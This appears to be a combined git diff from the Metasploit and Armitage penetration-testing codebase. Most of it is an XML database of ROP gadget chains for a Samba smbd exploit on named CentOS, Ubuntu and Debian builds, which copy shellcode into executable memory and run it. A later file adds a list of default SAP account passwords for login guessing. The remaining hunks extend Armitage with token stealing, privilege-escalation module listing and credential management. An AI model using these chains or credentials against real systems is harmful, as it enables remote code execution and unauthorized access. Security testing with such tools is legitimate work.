<gadget offset="0x0006421f">pop eax ; ret</gadget>
|
||||||
|
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||||
|
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00072094">memcpy@got - 4</gadget>
|
||||||
|
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<!-- set ecx to same value than edx -->
|
||||||
|
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
|
||||||
|
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||||
|
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||||
|
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||||
|
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||||
|
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||||
|
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
|
||||||
|
|
||||||
|
</rop>
|
||||||
|
|
||||||
|
<rop>
|
||||||
|
<compatibility>
|
||||||
|
<target>3.5.10-0.107.el5 on CentOS 5</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
yum list |grep libgcrypt
|
||||||
|
libgcrypt.i386 1.4.4-5.el5 installed
|
||||||
|
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||||
|
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||||
|
section is writable and executable, we'll copy the shellcode over there instead of using mmap
|
||||||
|
-->
|
||||||
|
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||||
|
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
|
||||||
|
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||||
|
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||||
|
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
|
||||||
|
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
|
||||||
|
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||||
|
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
|
||||||
|
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
|
||||||
|
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
|
||||||
|
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
|
||||||
|
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||||
|
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||||
|
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||||
|
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
|
||||||
|
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1**</gadget>
|
||||||
|
<gadget offset="0x0006200a">pushad ; ret</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
|
||||||
|
|
||||||
|
</rop>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
|
||||||
|
|
||||||
|
<compatibility>
|
||||||
|
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00991ff0">mmap64@got</gadget>
|
||||||
|
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||||
|
<gadget offset="0x008c8997">jmp eax</gadget>
|
||||||
|
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||||
|
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
|
||||||
|
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for esi</gadget>
|
||||||
|
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||||
|
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00991904">memcpy@got</gadget>
|
||||||
|
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x0002ab2c">pushad, ret</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
|
||||||
|
|
||||||
|
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
|
||||||
|
<compatibility>
|
||||||
|
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x008c1008">mmap64@got</gadget>
|
||||||
|
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||||
|
<gadget offset="0x0009e8e4">jmp eax</gadget>
|
||||||
|
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||||
|
<gadget offset="0x001f6142">pop edx ; ret</gadget>
|
||||||
|
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||||
|
<gadget offset="0x00277540">pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
|
||||||
|
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||||
|
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x008c0964">memcpy@got</gadget>
|
||||||
|
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x0000dbcf">pushad, ret</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
-->
|
||||||
|
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
|
||||||
|
<compatibility
|
||||||
|
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||||
|
</compatibility>
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x008cf86c">mmap64@got</gadget>
|
||||||
|
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||||
|
<gadget offset="0x000234e5">jmp eax</gadget>
|
||||||
|
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||||
|
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
|
||||||
|
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x00394107">pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||||
|
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x008cf1e8">memcpy@got</gadget>
|
||||||
|
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x00020453">pushad, ret</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
-->
|
||||||
|
</db>
|
|
@ -35,6 +35,11 @@ class ConvertBinary < ActiveRecord::Migration
|
||||||
remove_column :web_pages, :request_text
|
remove_column :web_pages, :request_text
|
||||||
remove_column :web_vulns, :request_text
|
remove_column :web_vulns, :request_text
|
||||||
remove_column :web_vulns, :proof_text
|
remove_column :web_vulns, :proof_text
|
||||||
|
|
||||||
|
WebPage.connection.schema_cache.clear!
|
||||||
|
WebPage.reset_column_information
|
||||||
|
WebVuln.connection.schema_cache.clear!
|
||||||
|
WebVuln.reset_column_information
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.down
|
def self.down
|
||||||
|
@ -59,5 +64,9 @@ class ConvertBinary < ActiveRecord::Migration
|
||||||
remove_column :web_vulns, :request_binary
|
remove_column :web_vulns, :request_binary
|
||||||
remove_column :web_vulns, :proof_binary
|
remove_column :web_vulns, :proof_binary
|
||||||
|
|
||||||
|
WebPage.connection.schema_cache.clear!
|
||||||
|
WebPage.reset_column_information
|
||||||
|
WebVuln.connection.schema_cache.clear!
|
||||||
|
WebVuln.reset_column_information
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
|
||||||
|
|
||||||
|
def self.up
|
||||||
|
add_column :web_vulns, :owner, :string
|
||||||
|
add_column :web_vulns, :payload, :text
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.down
|
||||||
|
remove_column :web_vulns, :owner
|
||||||
|
remove_column :web_vulns, :payload
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,14 @@
|
||||||
|
SAP* 06071992
|
||||||
|
SAP* PASS
|
||||||
|
DDIC 19920706
|
||||||
|
DDIC Welcome01
|
||||||
|
SAPCPIC ADMIN
|
||||||
|
EARLYWATCH SUPPORT
|
||||||
|
TMSADM PASSWORD
|
||||||
|
TMSADM ADMIN
|
||||||
|
ADMIN welcome
|
||||||
|
ADSUSER ch4ngeme
|
||||||
|
ADS_AGENT ch4ngeme
|
||||||
|
DEVELOPER ch4ngeme
|
||||||
|
J2EE_ADMIN ch4ngeme
|
||||||
|
SAPJSF ch4ngeme
|
|
@ -3,7 +3,7 @@
|
||||||
<center><h1>Armitage 1.44</h1></center>
|
<center><h1>Armitage 1.44</h1></center>
|
||||||
|
|
||||||
<p>An attack management tool for Metasploit®
|
<p>An attack management tool for Metasploit®
|
||||||
<br />Release: 16 Oct 12</p>
|
<br />Release: 26 Nov 12</p>
|
||||||
<br />
|
<br />
|
||||||
<p>Developed by:</p>
|
<p>Developed by:</p>
|
||||||
|
|
||||||
|
|
|
@ -550,6 +550,11 @@ sub data_delete {
|
||||||
call("db.key_clear", $1);
|
call("db.key_clear", $1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# data_clear('key') -- clears all data associated with the specified key
|
||||||
|
sub data_clear {
|
||||||
|
data_delete($1);
|
||||||
|
}
|
||||||
|
|
||||||
# data_add('key', $object) -- appends value into the database...
|
# data_add('key', $object) -- appends value into the database...
|
||||||
sub data_add {
|
sub data_add {
|
||||||
local('$buffer $data');
|
local('$buffer $data');
|
||||||
|
@ -860,7 +865,7 @@ sub file_content {
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
local('%r');
|
local('%r');
|
||||||
%r = call("armitage.download", $1);
|
%r = call("armitage.download_nodelete", $1);
|
||||||
return %r['data'];
|
return %r['data'];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -623,6 +623,34 @@ sub host_attack_items {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
sub chooseSession {
|
||||||
|
local('@data $sid $data $host $hdata $temp $tablef');
|
||||||
|
|
||||||
|
# obtain a list of sessions
|
||||||
|
foreach $host (keys(%hosts)) {
|
||||||
|
foreach $sid => $data (getSessions($host)) {
|
||||||
|
$temp = copy($data);
|
||||||
|
$temp['sid'] = $sid;
|
||||||
|
push(@data, $temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# sort the session data
|
||||||
|
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
||||||
|
|
||||||
|
# update the table widths
|
||||||
|
$tablef = {
|
||||||
|
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
||||||
|
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
||||||
|
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
||||||
|
};
|
||||||
|
|
||||||
|
# let the user choose a session
|
||||||
|
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
||||||
|
[$call : $1];
|
||||||
|
}, $call => $4), \$tablef);
|
||||||
|
}
|
||||||
|
|
||||||
sub addFileListener {
|
sub addFileListener {
|
||||||
local('$table $model $actions');
|
local('$table $model $actions');
|
||||||
($table, $model, $actions) = @_;
|
($table, $model, $actions) = @_;
|
||||||
|
@ -652,33 +680,7 @@ sub addFileListener {
|
||||||
$actions["WORDLIST"] = $actions["*FILE*"];
|
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||||
|
|
||||||
# set up an action to choose a session
|
# set up an action to choose a session
|
||||||
$actions["SESSION"] = {
|
$actions["SESSION"] = lambda(&chooseSession);
|
||||||
local('@data $sid $data $host $hdata $temp $tablef');
|
|
||||||
|
|
||||||
# obtain a list of sessions
|
|
||||||
foreach $host (keys(%hosts)) {
|
|
||||||
foreach $sid => $data (getSessions($host)) {
|
|
||||||
$temp = copy($data);
|
|
||||||
$temp['sid'] = $sid;
|
|
||||||
push(@data, $temp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# sort the session data
|
|
||||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
|
||||||
|
|
||||||
# update the table widths
|
|
||||||
$tablef = {
|
|
||||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
|
||||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
|
||||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
|
||||||
};
|
|
||||||
|
|
||||||
# let the user choose a session
|
|
||||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
|
||||||
[$call : $1];
|
|
||||||
}, $call => $4), \$tablef);
|
|
||||||
};
|
|
||||||
|
|
||||||
# set up an action to pop up a file chooser for different file type values.
|
# set up an action to pop up a file chooser for different file type values.
|
||||||
$actions["RHOST"] = {
|
$actions["RHOST"] = {
|
||||||
|
|
|
@ -239,6 +239,23 @@ sub init_menus {
|
||||||
dynmenu($top, "Help", 'H', &help_items);
|
dynmenu($top, "Help", 'H', &help_items);
|
||||||
|
|
||||||
# setup some global keyboard shortcuts...
|
# setup some global keyboard shortcuts...
|
||||||
|
[$frame bindKey: "Ctrl+I", {
|
||||||
|
thread({
|
||||||
|
chooseSession($null, $null, $null, {
|
||||||
|
local('$session');
|
||||||
|
$session = sessionData($1);
|
||||||
|
if ($session is $null) {
|
||||||
|
showError("Session $1 does not exist");
|
||||||
|
}
|
||||||
|
else if ($session['desc'] eq "Meterpreter") {
|
||||||
|
createMeterpreterTab($1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
createShellSessionTab(\$session, $sid => $1);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}];
|
||||||
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
||||||
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
|
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
|
||||||
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
||||||
|
|
|
@ -104,13 +104,16 @@ sub parseMeterpreter {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub interpretMeterpreterCommand {
|
sub interpretMeterpreterCommand {
|
||||||
if ([$1 getActionCommand] eq "shell") {
|
local('$c');
|
||||||
|
$c = [lc([$1 getActionCommand] . "") trim];
|
||||||
|
|
||||||
|
if ($c eq "shell") {
|
||||||
createShellTab($sid);
|
createShellTab($sid);
|
||||||
}
|
}
|
||||||
else if ([$1 getActionCommand] eq "screenshot") {
|
else if ($c eq "screenshot") {
|
||||||
[createScreenshotViewer($sid)];
|
[createScreenshotViewer($sid)];
|
||||||
}
|
}
|
||||||
else if ([$1 getActionCommand] eq "webcam_snap") {
|
else if ($c eq "webcam_snap") {
|
||||||
[createWebcamViewer($sid)];
|
[createWebcamViewer($sid)];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -168,7 +171,9 @@ sub showMeterpreterMenu {
|
||||||
}, $sid => "$sid"));
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
item($j, "Escalate Privileges", 'E', lambda({
|
item($j, "Escalate Privileges", 'E', lambda({
|
||||||
showPostModules($sid, "*escalate*");
|
showPostModules($sid, "*escalate*",
|
||||||
|
ohash(exploit => buildTree(filter({ return iff("*windows/local/*" iswm $1, $1); }, @exploits)))
|
||||||
|
);
|
||||||
}, $sid => "$sid"));
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
item($j, "Steal Token" , "S", lambda({
|
item($j, "Steal Token" , "S", lambda({
|
||||||
|
|
|
@ -251,7 +251,7 @@ sub showExploitModules {
|
||||||
# shows the post modules compatible with a session... for this to work, the
|
# shows the post modules compatible with a session... for this to work, the
|
||||||
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
||||||
sub showPostModules {
|
sub showPostModules {
|
||||||
local('@allowed $2');
|
local('@allowed $2 $3');
|
||||||
@allowed = getOS(sessionToOS($1));
|
@allowed = getOS(sessionToOS($1));
|
||||||
fork({
|
fork({
|
||||||
local('$modules %list $model');
|
local('$modules %list $model');
|
||||||
|
@ -270,7 +270,13 @@ sub showPostModules {
|
||||||
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ($base is $null) {
|
||||||
%list = ohash(post => buildTree($modules));
|
%list = ohash(post => buildTree($modules));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%list = $base;
|
||||||
|
%list['post'] = buildTree($modules);
|
||||||
|
}
|
||||||
$model = treeNodes($null, %list);
|
$model = treeNodes($null, %list);
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
dispatchEvent(lambda({
|
||||||
|
@ -282,7 +288,7 @@ sub showPostModules {
|
||||||
}
|
}
|
||||||
[$search setText: ""];
|
[$search setText: ""];
|
||||||
}, \$search, \$tree, \$model));
|
}, \$search, \$tree, \$model));
|
||||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
|
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2, $base => $3);
|
||||||
}
|
}
|
||||||
|
|
||||||
sub createModuleBrowserTab {
|
sub createModuleBrowserTab {
|
||||||
|
|
|
@ -96,6 +96,33 @@ sub createCredentialsTab {
|
||||||
($dialog, $table, $model) = show_hashes("", 320);
|
($dialog, $table, $model) = show_hashes("", 320);
|
||||||
[$dialog removeAll];
|
[$dialog removeAll];
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ([$1 isPopupTrigger]) {
|
||||||
|
local('$popup $entries');
|
||||||
|
$popup = [new JPopupMenu];
|
||||||
|
$entries = [$model getSelectedValuesFromColumns: $table, @("user", "pass", "host")];
|
||||||
|
item($popup, "Delete", 'D', lambda({
|
||||||
|
local('$queue $entry $user $pass $host');
|
||||||
|
$queue = [new armitage.ConsoleQueue: $client];
|
||||||
|
foreach $entry ($entries) {
|
||||||
|
($user, $pass, $host) = $entry;
|
||||||
|
[$queue addCommand: $null, "creds -d $host -u $user -P $pass"];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$queue addCommand: "x", "creds -h"];
|
||||||
|
|
||||||
|
[$queue addListener: lambda({
|
||||||
|
[$queue stop];
|
||||||
|
refreshCredsTable($model, $null);
|
||||||
|
}, \$model, \$queue)];
|
||||||
|
|
||||||
|
[$queue start];
|
||||||
|
[$queue stop];
|
||||||
|
}, \$table, \$model, \$entries));
|
||||||
|
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||||
|
}
|
||||||
|
}, \$table, \$model));
|
||||||
|
|
||||||
$panel = [new JPanel];
|
$panel = [new JPanel];
|
||||||
[$panel setLayout: [new BorderLayout]];
|
[$panel setLayout: [new BorderLayout]];
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
|
@ -75,7 +75,7 @@ sub createProcessBrowser {
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
local('$a $b $bb $c');
|
local('$a $b $bb $bbb $c');
|
||||||
$a = [new JButton: "Kill"];
|
$a = [new JButton: "Kill"];
|
||||||
[$a addActionListener: lambda({
|
[$a addActionListener: lambda({
|
||||||
local('$procs $v');
|
local('$procs $v');
|
||||||
|
@ -105,6 +105,15 @@ sub createProcessBrowser {
|
||||||
}
|
}
|
||||||
}, $m => $1, \$table, \$model)];
|
}, $m => $1, \$table, \$model)];
|
||||||
|
|
||||||
|
$bbb = [new JButton: "Steal Token"];
|
||||||
|
[$bbb addActionListener: lambda({
|
||||||
|
local('$v');
|
||||||
|
$v = [$model getSelectedValue: $table];
|
||||||
|
if ($v !is $null) {
|
||||||
|
m_cmd_callback($m, "steal_token $v", { if ($0 eq "end") { showError(["$2" trim]); } });
|
||||||
|
}
|
||||||
|
}, $m => $1, \$table, \$model)];
|
||||||
|
|
||||||
$c = [new JButton: "Refresh"];
|
$c = [new JButton: "Refresh"];
|
||||||
